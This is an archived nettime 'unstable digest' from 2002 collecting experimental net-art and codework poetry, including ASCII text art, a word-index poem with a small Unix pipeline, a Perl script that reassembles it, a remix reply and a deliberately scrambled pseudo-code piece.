s s s s s s s s s s s s s s s s s s s s\ns s s s s s s s s s s a s s s s s s s s s s s s s s s s s s s s s\ni i i i i i i i i s s a s s i i i i i i i i i i i i i i i i i i i\ns s s s s s s s i s s a s s i s s s s s s s s s s s s s s s s s s\nt t t t t t t s i s s a s s i s t t t t t t t t t t t t t t t t t\na a a a a a t s i s s a s s i s t a a a a a a a a a a a a a a a a\nn n n n n a t s i s s a s s i s t a n n n n n n n n n n n n n n n\nc c c c n a t s i s s a s s i s t a n c c c c c c c c c c c c c c\ne e e c n a t s i s s a s s i s t a n c e e e e e e e e e e e e e\no o f o o o o o o o o o o o o o o o o o o o o o o o o o o o o o o\nf f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f\no o f o o o o o o o o o o o o o o o o o o o o o o o o o o o o o o\ns s i h t h i s s s s s s s s s s s s s s s s s s s s s s s s s s\ni i i h t h i i i i i i i i i i i i i i i i i i i i i i i i i i i\nh h h h t h h h h h h h h h h h h h h h h h h h h h h h h h h h h\nt t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t\nh h h h t h h h h h h h h h h h h h h h h h h h h h h h h h h h h\ni i i h t h i i i i i i i i i i i i i i i i i i i i i i i i i i i\ns s i h t h i s s s s s s s s s s s s s s s s s s s s s s s s s s\nd d d d i s t a n t n a t s i d d d d d d d d d d d d d d d d d d\ni i i i i s t a n t n a t s i i i i i i i i i i i i i i i i i i i\ns s s s s s t a n t n a t s s s s s s s s s s s s s s s s s s s s\nt t t t t t t a n t n a t t t t t t t t t t t t t t t t t t t t t\na a a a a a a a n t n a a a a a a a a a a a a a a a a a a a a a a\nn n n n n n n n n t n n n n n n n n n n n n n n n n n n n n n n n\nt t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t\nn n n n n n n n n t n n n n n n n n n n n n n n n n n n n n n n n\na a a a a a a a n t n a a a a a a a a a a a a a a a a a a a a a a\nt t t t t t t a n t n a t t t t t t t t t t t t t t t t t t t t t\ns s s s s s t a n t n a t s s s s s s s s s s s s s s s s s s s s\ni i i i i s t a n t n a t s i i i i i i i i i i i i i i i i i i i\nd d d d i s t a n t n a t s i d d d d d d d d d d d d d d d d d d\ne e e e e e e y e y e e e e e e e e e e e e e e e e e e e e e e e\ny y y y y y y y e y y y y y y y y y y y y y y y y y y y y y y y y\ne e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e\ny y y y y y y y e y y y y y y y y y y y y y y y y y y y y y y y y\ne e e e e e e y e y e e e e e e e e e e e e e e e e e e e e e e e\n\n\n\n\n\n\n\n\n\n__________________________________________________\nDo You Yahoo!?\nYahoo! Health - Feel better, live better\nhttp://health.yahoo.com\n\n\n\n\nFrom: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\nSubject: gesst.aLL.tism.aLL.!T!es.VER.hist\nDate: Tue, 30 Jul 2002 16:12:34 -0600\n\ninstaller reads the ghlumechinelles Gesstalt + renders Gesstalt\ninstaller smoothing mode\n(compat. notes)\n<---snip--->\n1.<--snipe-->\n27.<--slice-->\n=2E\nON3.\ntargetLoad onREload gotoSubjfld\nfled...\nfled...\nrndLines\n\"K\"-Lines\n/throughknowl3d3gessts.n.gessts.n.stalls.x.hault-10\n-error(K)ode\n2.co\nad.vent.\"u\".turistics\nbinaryCloud:specentrificaxions\n/d.mnt-10\ndat.SIG.source.sent.rifi.RE.ifi.ca.xions\nbouendst.oftN.0?VER.\nstateLocal\nfled...\nfled...\nfled...\nfled...\nfled...\nfled...\nfled...\nRE:load\nRE\"led\"\nRE {AT} lastichism.n.state-10\n=2E\n=2E\n2.rite.n.struct.i/ons\n=2E\nwhilst\nK-Leaving.a.way {AT} (K)odes\nheld\n2.bresst\n=2E\n2.rite.x.press.i/ons\n=2E\nwhilst\nK-Leaving.a.way_under(T)ones\nheld\nA.bresst.oft,N-spct\n%20o%20u%20e%20n%20d%20s%20t%20\n%20o%20u%20e%20n%20d%20s%20t%20\n%20o%20u%20e%20n%20d%20s%20t%20\n=2E\nweasureMeants\n_Server/Dokumentation/\"My\"SND/UAL-3.23.39/speltILT/nameSpace\n=2E\n=2E.. 120 9.2.1 Displaying the Access Log 121 9.2.2 ...\nK-0.LLect-10Perltstringsets-oft-a.gentCGIsetstringcharacter-Lines\n126 10.2.1 REquiredScript\nrndirt(K)ontent 127 =\n\nthirstlUALtisstgesst's\n\"UNKNOWN\"\na.gainLevel\n-10\n\nView Ast:CT:\n=2E.. 127 4.18.39 Upgrading from Version 3.20 to Version 3.21 . . ... =\n\na.charsetstring.\"u\".wound.K-Nown.onl4.ast:\na%20dot...\nmentionMeant:\n////////////log.\n\nidentikeys.clipt.n.x.port-10\n\nor.codes... .k-lean . . . . 126 log2 . . . . . 127 logb . . . . .\n128 nan . . . . . ... a X b ift\n(sm)aLL.r.than.\nRE=3Dturn2.threeLine1\nUNI-(k)ODE-N-QUE\nrests\nQWER%20Y.4.subSets\nK-now3dg3sast.K-It.selves.on/LY?RE:placet.x.wit\nx.presstKeys\nwhilst=3Dnumb3RING<br>ING(T)ones\n_rise\naLL!T!es\n=2E.. characters whose pulseCode is greater than\n127 ...simLair(K)odes\n=2E\n\"HIDDEN\"\n=2E\naspParamErr\nwhilst\nK-LeavING.a.gain.st.K-ODEspc\nratherK-Lines\nast.ift.vectors\nin.\"our\".kive\nnametMeant\nthistles\ngrown.out.(f)ROM.whilst.stored.n.TEMP12c7ict\n=2E\n\"2.RITTEN.x.i/on\"\nREVT?\n=2E\nnowGrown\nhere in \"our\" kive\n=2E\n=2E.. . . . . . 126 log2 . . . . . 127 logb . . . . .\n128 nan . . . . . ... =\n\nref.golden\nclive\nclipt\nimg\nsource\nsent\nsam\nok\nplyt\nable\na.grain\n=2E\ncode is greater than 127 into an indexed\nCHARSET ... 9.1 and 3.2.9.2. Added --skip-stack ... actionSpace\noftNgrit\n=2E\n_Serveraction.n.meme.or.izt\nversion127oftNnamet%20-10\nlast {AT} LL-K-ove\n=2E\n=2E ... 127 4.18.3 Upgrading from Version 3.20 to Version 3.21 . . ... =\n\noverRE:COMBits\nstateGlare-i/on\n(sm)aLLCodes\n=2E\n=2E\nstare.ONstate\naway\n {AT} \n(sm)aLLCodes\n=2E\n1.\n27.\n=2E\nr.kive\n=2E\nKlictcuts.kept.skeins\n_underStates\n=2Ea.grain\"u\"Lated\nC.LevelK\n=2E\ngesstDate\nwhileSATspin.over-N-awayStates\nA.\n=2E\n(prosyst)\n=2E\ngesstaLLt.Device:\nautumn-frequency =\n\n\n\n\n\nDate:         Sun, 28 Jul 2002 10:18:16 -0700\nFrom: Soli Psis <solipsis {AT} HEVANET.COM>\nSubject: Afrobenius, The Lion, and Sakpata's goat slinger...\n\n\n\n\nAfrobenius, The Lion, and Sakpata's goat slinger...\n\nWe are all hierodulues of blood-brotherhood's lamentation Hogon. The =\nCult house, then, is neither simply a climbing tree, nor a calabash =\n(Lagenaria vulgaris), but a speaking. But perhaps condensed down, as =\nNana Amoah once did in Kumasi, calling these speaking rods akyeama poma. =\nMediation services today don't trace their lineages this far, but we are =\nobliged to here, while the baobab (Adansonia digitata) burns, and the =\nancestors roll in their wooden porpoises among the waves and griots of =\nthe insane paideuma.\n\nkaaaaa i i i i i i nimblobehada behada behadabehada behada behada behada =\nnimblobehada kaaaaa i i i i i i nimblobehada kaaaaa i i i i i i =\nnimblobehada behada behadabehada behada behada behada kaaaaa i i i i i i =\nnimblobehada behada behadabehada behada behada behada behada behada =\nnimblobehada kaaaaa i i i i i i nimblobehada kaaaaa behada behadabehada =\nbehada behada behada nimblobehada behada behadabehada behada behada =\nbehada nimblobehada i i i i i i nimblobehada i i i i i i nimblobehada i =\ni i i i i nimblobehada   i i i i i i i i i i i i i i i i i i i i i i i i =\ni i i i i i  i i i i i i  i i i i i i kaaaaakaaaaa kaaaaa kaaaaa kaaaaa =\nkaaaaa kaaaaa i i i i i i nimblobehada behada behadabehada behada behada =\nbehada nimblobehada kaaaaa i i i i i i nimblobehada kaaaaa i i i i i i =\nnimblobehada behada behadabehada behada behada behada kaaaaa i i i i i i =\nnimblobehada behada behadabehada behada behada behada behada behada =\nnimblobehada kaaaaa i i i i i i nimblobehada kaaaaa behada behadabehada =\nbehada behada behada nimblobehada behada behadabehada behada behada =\nbehada nimblobehada i i i i i i nimblobehada i i i i i i nimblobehada i =\ni i i i i nimblobehada   i i i i i i i i i i i i i i i i i i i i i i i i =\ni i i i i i  i i i i i i  i i i i i i kaaaaakaaaaa kaaaaa kaaaaa kaaaaa =\nkaaaaa\n\nFa Oracle: Nothing exists, except atoms and empty space. (Democritus)=20\n\nNow we can see L. Frobenius inside the walking crane. He's a mechanical =\nbird astronaut. You all knew that would happen. It's hard to say what =\nhappened between them and noun, then and now, stem and brow. But in =\nbetween, he theorized an Atlantis on the Azores hump in the Atlantic =\nRidge, populated by seven-foot Cro-Magnons who spoke Basque and were =\nkind to eels. It was destroyed by a giant asteroid that messed with the =\nearth's axial rotation, punched holes in the ocean's floor and sent up =\nvapor clouds into a smog ball that lasted 2,000 years.=20\n\nAnd there's really no need to believe any of it. But Sakpata's Story is =\nindisputable. There are paintings of him in Vodun convents.. And he's =\nlike alot of brothers, forced to save the universe on account of =\nfamily.. But even Sakpata needed a bird..\n\nOtutu, can you hear me? Hey come back here Otutu, don't deliver that =\nmessage to Sogbo.. Don't take that message at all.. I'll find a way, =\nsome other way, to feed the people.. I can't ransomed to the violence of =\nmy brother..\n\nI am throwing palm kernals still.. Announcing there has been an argument =\namong two brothers..\n\nFa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa =\nFa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa =\nFa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa =\nFa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa =\nFa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa =\nFa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa =\nFa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa =\nFa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa =\nFa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa =\nFa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa =\nFa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa =\nFa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa =\nFa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa =\nFa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa =\nFa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa Fa=20\n\nfrom weather reports in the Old Testament and classical literature, from =\nvolcanology, glaciology, paleobotany, oceanography and particle physics, =\nand from readings of ice caps, acid layers, carbon exhaust clouds, =\ndinosaur teeth, clam bed fossils, Irish peat bogs and California =\nbristlecones\n\nHow did Leo Frobenius then bring Sakpata to Hermann Nitsch in Vienna? =\nWhy do the War Gods wear flip-flops?\n\nI would make an emblem here, but there are too many letters in the way..\n\n~~~~a~~m~~~~o~~~n~~g~~\n\n~~t~~~h~~~~~~e~~~\n\n~~w~~~~~~a~~~~~v~~~~~e~~~s~~~~\n\n~~a~~~n~~d~\n\n~g~~~~r~i~~~o~~~t~s~~~\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Mon, 29 Jul 2002 13:18:28 -0400 (EDT)\nSubject: the big maze\n\n\n\n\nthe big maze\n\n\na 113 absolved 223 across 193 after 127 against 209 against 212 against\n215 and 117 and 160 and 173 and 2 and 225 and 228 and 54 and 63 and 69 and\n75 and 83 and 95 anywhere 198 are 14 are 18 are 4 at 28 backwards 172\nbefore 122 before 219 begin 21 begin 56 beings 94 birth 123 black 44\nbodies 137 bodies 142 calendar 65 cause 107 cause 114 cause 238 cause 51\ncause 59 children 26 choice 12 choice 232 choice 235 clothing 178 continue\n100 continue 144 continue 202 continue 47 create 234 death 109 death 112\ndeath 128 death 211 death 213 disappears 218 divination 64 dresses 180\nearth 38 eclipse 66 everything 217 explanation 214 explanation 216 extend\n154 extend 170 feel 23 find 147 find 237 find 31 find 50 find 58 for 105\nfor 108 forwards 175 given 15 given 19 grasp 131 grasp 138 have 10 have\n183 having 230 illness 106 impossible 41 in 133 in 140 in 158 in 161 in\n187 in 35 in 42 in 77 in 85 in 90 in 97 infants 27 is 151 is 222 is 33 is\n40 it 24 it 73 it 81 kill 229 land 195 land 8 language 165 larger 74\nlarger 76 larger 82 larger 84 life 121 life 126 live 197 live 200 make 103\nmake 111 make 120 make 125 make 207 make 72 make 80 make 88 make 93\nmeasurement 186 measurement 190 memory 171 memory 174 men 226 men 3 minds\n130 minds 135 move 192 no 11 no 231 none 152 nothing 221 nourish 227 of\n185 of 189 of 204 of 239 of 52 of 60 on 101 on 145 on 203 on 48\norganization 208 organization 210 organize 116 organize 118 organize 68\norganize 70 origins 89 out 25 play 29 possible 34 reason 104 reason 148\nreason 155 robes 179 sky 45 sky 62 space 159 space 78 space 98 spheres 96\nstatus 184 status 188 summer 61 survive 157 the 194 the 36 the 43 the 7\ntheir 129 their 134 their 136 their 141 them 132 them 139 them 220 there\n150 they 102 they 110 they 115 they 119 they 124 they 13 they 143 they 146\nthey 153 they 156 they 163 they 166 they 169 they 17 they 176 they 182\nthey 191 they 196 they 199 they 20 they 201 they 206 they 233 they 236\nthey 30 they 46 they 49 they 55 they 67 they 71 they 79 they 87 they 9\nthey 92 they 99 thrown 5 time 162 time 86 time 91 to 22 to 57 uniforms 181\nupon 6 use 164 use 167 use 177 war 205 waterfall 240 waterfall 53 what 16\nwhat 32 what 39 where 149 women 1 women 224 writing 168 yellow 37\n\nvi zz; tr \" \" '\\012' < zz > yy; nl yy > ww; awk -f a/back ww > yy;\nsort yy > ww; h >> ww; rm yy zz; pico ww\n\n_\n\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\n\nDate: Mon, 29 Jul 2002 20:00:02 +0200\nFrom: Florian Cramer <cantsin {AT} zedat.fu-berlin.de>\nSubject: Re: the big maze\n\nRe Alan Sondheim:\n\n\n\n#!/usr/bin/perl\n\nwhile (<STDIN>) {\n\tchomp;\n\tpush  {AT} input, split (/[\\s]+/, $_);\n\t}\nfor ($x=0; $x<=$#input; $x=$x+2) {\n\t$output[$input[$x+1]] = $input[$x];\n\t}\n\nprint join (' ',  {AT} output);\n\n\n\n\n\nwomen and men are thrown upon the land they have no choice they are\ngiven what they are given they begin to feel it out children infants at\nplay they find what is possible in the yellow earth what is impossible\nin the black sky they continue on they find cause of waterfall and they\nbegin to find cause of summer sky and divination calendar eclipse they\norganize and organize they make it larger and larger in space they make\nit larger and larger in time they make origins in time they make beings\nand spheres in space they continue on they make reason for illness cause\nfor death they make death a cause they organize and organize they make\nlife before birth they make life after death their minds grasp them in\ntheir minds their bodies grasp them in their bodies they continue on\nthey find reason where there is none they extend reason they survive in\nspace and in time they use language they use writing they extend memory\nbackwards and memory forwards they use clothing robes dresses uniforms\nthey have status of measurement in status of measurement they move\nacross the land they live anywhere they live they continue on of war\nthey make organization against organization death against death\nexplanation against explanation everything disappears before them\nnothing is absolved women and men nourish and kill having no choice they\ncreate choice they find cause of waterfall\n\n\n-- \nhttp://userpage.fu-berlin.de/~cantsin/homepage/\nhttp://www.complit.fu-berlin.de/institut/lehrpersonal/cramer.html\nGnuPG/PGP public key ID 3200C7BA, finger cantsin {AT} mail.zedat.fu-berlin.de\n\n\n\nFrom: \"][co][De][e][p.rivation\" <netwurker {AT} hotkey.net.au>\nSubject: Re:wo.men & men][ses][ run thru .here::fuel. falling.\nDate: Tue, 30 Jul 2002 11:17:31 +1000\n\n\n\nAt 10:49 PM 29.Jul.2002 ][est][ MEZ wrote:\nAt 08:00 PM 7/29/2002 +0200, florian c.RAM.er wrote:\n>Am Mon, 29.Jul.2002 um 13:18:28 -0400x schrieb A.LAN. Sondheim:\n>(' ',  {AT} output);\n>\n>\n>\n>\n>\n>wo.men & men][ses][ run thru .here.           up on the concept of _and_, \n>they hock & cough\n>wot they r given:is:wot is r][ote][iven.                    feel.errs \n>out|chunks of infants\n>pl.ay[er] finite with wot is pro.gramm.able.                 yellow urging \n>with the m.possible\n>in yr back, my eyes shine in lust conti.nuance.               cauterized \n>water|falling hymns\n>begging 2 course sum + 1 sky.                                   divide + 0 \n>gregorian skins\n>organs & organ.wurd.banks stab my lungs.                 space largess \n>re:makes\n>larger & looming in twinned \n>o][iled][.rig.ins.              tie.me.up|make( {AT} ).being.down][ed][\n>the .][a][sp. is .here.                                           haiku \n>rea.son.ing caus][eway][ing silt\n>death cr8s death|causal creates organizal.              make. organs. \n>][k][not. war\n>life b4 burgeoning lilted a.ms & dead P.Ms          buttermilk ][g][rasping\n>body.grasping & connector::continue.                  . on .\n>fibrous reason|where::there|.                      x.tended. .salted. .sucking\n>pac][k][ing time in fuselage language.    usable memory wiring\n>c.king ][ed][wards of loathing    + rubes dressed uni][x][form][ed][\n>hiatus of me & asssurances of u in droves of awkward motion\n>crossing the b.land with the live _a.ny.where_ in the th][r][ive-worn\n>t.he.y make organs agape|sanitization of death rubbing against death\n>plain reality nations against planar dis|re.appearances b4 hemming in\n>nothing is revolving. wo.men and men][ses][ nourish by kill switching + \n>choice[s]\n>they. cre8. choice. they. fuel. falling. h][er][ymns.\n\n\n\n\n\n\n\n.           .    ....         .....\ncollapsing adj[thr]usting.txt\n.\n.\n][co][De][e][p.rivation\nwww.cddc.vt.edu/host/netwurker/\nhttp://www.macros-center.ru/read_me/inexen.htm#re\n.... .               .???  .......\n\n\n\nFrom: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\nSubject: Uns.t_blizd {  digestunstable.pl  }\nDate: Fri, 02 Aug 2002 22:39:25 +0200\n\n\ni###########################################\n~\n~   wstq\n~\n~###########################################\n\n~  ss 1a_ 'bbf $c 1a_ >l{xa}g{~ 9ln~{oiii_ 1a_ 1~{pp 1g &imm|yd\n ja|pdgql{ f r\n/c n~ ja|pdgql{5 <\n        &la ,}efd $cn_dlcd~v  f l{xa}g{~ ~~sl{xa}g{~ 'bbf  |}qv\n 9ln~{oi 1a_ >lcd~v   5fo|ef '|emf~ y~5.&\n        5\n~  ss 1a_ >lcd~v 5fo|ef '|emf~ 5~al 1a_ 'bbf $c 1a_ >l{xa}g{~\n~ nk_ c}~~_bm $ => 5fo0 &\n  lcd~v\nfo|ef ja|pdgql{\n  lcd~v\nfo|ef   1 g '$~ / \n  lcd~v\nfo|ef   1 e r )/'\n\n~  ss 1gafz   >f}~\n  f}~ $om_m|fof\n\n~  |_ 5molo~ai_ 5zy_bclf >ds~~fnia~ 1a_sa_~ 5l &ixwt $nia 1cn|da 9f !_|v ${ 'n~\n~  |xs_llf 5zm|~~\n~\n~ >    qprx~s 1a_ 9}prxm~ $nia 5l_ 5ml 5molo~ai_ $nia~ jg~fo 1a_ 5bcf\n~       &{ 1xs 1g 5 >lcfd~xm~ 5zm|~5\n~  ~    qprx~s 1a_ 9}prxm~ $nia $nod\n~      _i~ 1a_ 9}prxm~ $nia\n jr_i~\nsbcf >>\n\n\n\n~###########################################\n~\n~   wxm 5l_ 5lo|~~ 1a_ $coo 1g 9f &imm|ydd\n~\n~###########################################\n\n~  xl 5lof~ &i 1a_ 1a|pdg >l{xa}g{~ 1aol 9f &imm|ydd\n~  |_ ${{d~ $c &imm|q_nn 5molo~p 1a_ 5lof 'bbf~5\"!!/\n,yxm_l{ {\n\n  &ja|pdgql{ . 1| >la ,f{{xa}g{~ ja|pdgql{ >ba~ 'n~ >{b{v z~5.&\n5|lof~ 1a{v xfgdl{ {\n\n )&\n#moxxdl{ {\n\n &\n!m{xfcn lof m|lof~5 <\n        ,yxm ~  ;9ja|pdgql{ ! lof5.&\n        ig~{m|f~sefd}l|g~~~1+!\n         }prxm~\n|f~sefdzyv\n _fgd~ $\n        <ahof $q \" <\n                /c   }prxm~\n|f~sefdzyv >}\n _fgd~ , <\n                        ~  qprx~s 5ml &_fgd~ $nia~ >{fg|v _tal5,\n                        ~ f|}~5 5l_ yeh_a}  5l_ 5lo|~~ $|t\n                        ~ 'nn1o|stfof 1weh_a} $nia 5rxglgz~\n                        jr_i~\nsbcf ~>\n                        ~  y 1a_\n                        /c .etal1) <\n                                ~  t 1{l~ 1g 5r_i~ 1ah{ $|t\n                                jr_i~\nsbcf >\n                                ~  {ffl 5q &{rxgsdcy  tal $nia~\n                                9 etal\n )ctal\n'\n                                ~  }co{_ae 1ah{ $nia 5m{ 1a_ 5~pxm_dd\n                                ~ &i_d{\n                                >wqc  |~al1 x\n                                5\n                        'cx_c .eeh_a} ) <\n                                ~  t 1{l~ 1g 5r_i~ 1ah{ $|t\n                                jr_i~\nsbcf >\n                                ~  {ffy $n{v  sxaoclm 5rxglgz~\n                                9 zsyd  hyy\n/'\n                                ~  {ffl 5q &{rxgsdcy  tal $nia~\n                                9 eeh_a}\n\n )xeh_a}\n'\n                                ~  }co{_ae 1ah{ $nia 5m{ 1a_ 5~pxm_dd\n                                ~ &i_d{\n                                >wqc  tweh_a}  x\n                                5\n                        'cx_c .e|}~5) < jr_i~\nsbcf i\n                        ~  _i~ |r5 $nia $nod &c 1a_ $f~sefd 1{~ 1xm~\n                        ~ 1g  |stfof\n                        'cx_c .er0\n&\n astfof5 0) < jr_i~\nsbcf i\n                        ~  y 1a_ $nia &{ >cyv|5 1y  x 5} 1a_ >m_ $c 1a_\n                        ~ $f~sefd &_fgd~\n                        'cx_c .e\n #\") <  }prxm~\n|f~sefdzyv\n la{ \n                        5\n                /c   }prxm~\n|f~sefdzyv >}\n la{ , <\n                        ~  u $ypfxxd 1g 1a_ &_fgd~  1a_ >dgard| $oad &{\n                        ~ 1g 'n~ 1wqprx~s 1a_ &ixwt\n                        /c n~ jr_i~\nsbcf = >! < jr_i~\nsbcf i\n                        ~  ~ 1g 5lo|~~ $|t  9lad~ 5l_ \n                        ~ 5}t{cnofm~p 5~ 9moa 5~ 5fxs_llf\n                        /c .,-;====================~ +m  1|\nm{n~~m~ |}x 1~{p  fcoi0) < jr_i~\nsbcf ~h\n                        'cx_c .e|h{ &{ 5 $}d|f1 zyv $f~sefd &i  5m{fc} .) <\njr_i~\nsbcf ~h\n                        'cx_c .e -----;~        |{ppyv\n ) < jr_i~\nsbcf ~h\n                        'cx_c .e\n  nbyrxs |  {a1/) < jr_i~\nsbcf ~h\n                        'cx_c .e{n~~m~ |elxzd~ fxmlali_\n) < jr_i~\nsbcf ~h\n                        'cx_c .e{n~~m~ |}x 1~{p  ~dl0) < jr_i~\nsbcf >i\n                        'cx_c .e $g    ) < jr_i~\nsbcf >i\n                        'cx_c .e \") < jr_i~\nsbcf ~h\n                        'cx_c .esyd  hyy $cooni_ $n{v ) < jr_i~\nsbcf >i\n                        'cx_c jr_i~\nsbcf = >\n& .e |  ~dl   1|\n9| i 9\")) < jr_i~\nsbcf ~h\n                        5\n                /c jr_i~\nsbcf    = ! <}r_i~ x\n                5\n        #moxx ~ &\n        >r_i~ {~~5$\n        5\n\n\n~###########################################\n~\n~   _i~ >lcd~v 5mo~~~\n~\n~###########################################\n\n\n>r_i~ {~~~~5$\n>r_i~ astfof 5gxv{clf >lcd~v 5fo lcd~v\nfo|ef   ~5$\n>r_i~ f}~1-{~~~5$\n\n!m{    1>   9ig~{m|f~sefd}l|g~~~  5+( <\n        >r_i~ jweh_a}\n \n \n        >r_i~\n   \n\"! ~al \n -{~5$\n        5\n\n\n~       \n\n\n------------------------------------------------------------\n--------------lo--------------------------------------------\n                      -\n-----------------------y------------------------------------\n------------------------------------------------------------\n-------------PTRz:\nhttp://trace.ntu.ac.uk/incubation/gallery.cfm\nwww.muse-apprentice-guild.com\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\n------------------------------------------------------------\n------------------------------------------------------------\n\n\n\n\n\n\nnettime unstable digest vol 5\nSat Aug  3 13:16:29 2002\n\n\nSubject: 2-3 [1/7]\n    From: access4none {AT} excess4all.com\n\nSubject: :XYMark-Up Announces Closure of _.Org][an La][Ment_\n    From: \"][co][De][e][p.rivation\" <netwurker {AT} HOTKEY.NET.AU>\n\nSubject: emphatic sky\n    From: joe keenan <yajoeya {AT} YAHOO.COM>\n\nSubject: gesst.aLL.tism.aLL.!T!es.VER.hist\n    From: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\n\nSubject: Afrobenius, The Lion, and Sakpata's goat slinger...\n    From: Soli Psis <solipsis {AT} HEVANET.COM>\n\nSubject: the big maze\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: Re: the big maze\n    From: Florian Cramer <cantsin {AT} zedat.fu-berlin.de>\n\nSubject: Re:wo.men & men][ses][ run thru .here::fuel. falling.\n    From: \"][co][De][e][p.rivation\" <netwurker {AT} hotkey.net.au>\n\nSubject: Uns.t_blizd {  digestunstable.pl  }\n    From: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\n\n    \n    \n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 3 Aug 2002 13:22:12 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200208031541.LAA31272 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0208/msg00016.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 5"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00132",
                "content": "\nDate: Fri, 27 Sep 2002 15:04:01 +0200\nFrom: Johan Meskens CS2 jmcs2\nSubject: |   || . || 27-9-2002-14:56 |_| 262163 1\" || |\n\n|   || . || 27-9-2002-14:56 |_| 262163 1\" || |\n||||purple||||black|white|||||      |||||blue 'orange ~\" || . |\n\n\n\"\n\n. . . . . . ----\n. . . . . . -\n. . . . . . - -- -\n. . . . . .  --  --\n. . . . . . - - ---\n. . . . . . -  -- -\n\n\n\"\n\n\n\n\n\n.\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ###########\nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n/ /____|##################################################################\n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n>\n>\n\n\n\n\n\nFrom: a u t u m n - f r e q u e n c y\nSubject: A.K-LINE.ONE.NUMb-slash-dat\"E\"+sig(N)aim\nDate: Mon, 23 Sep 2002 20:34:47 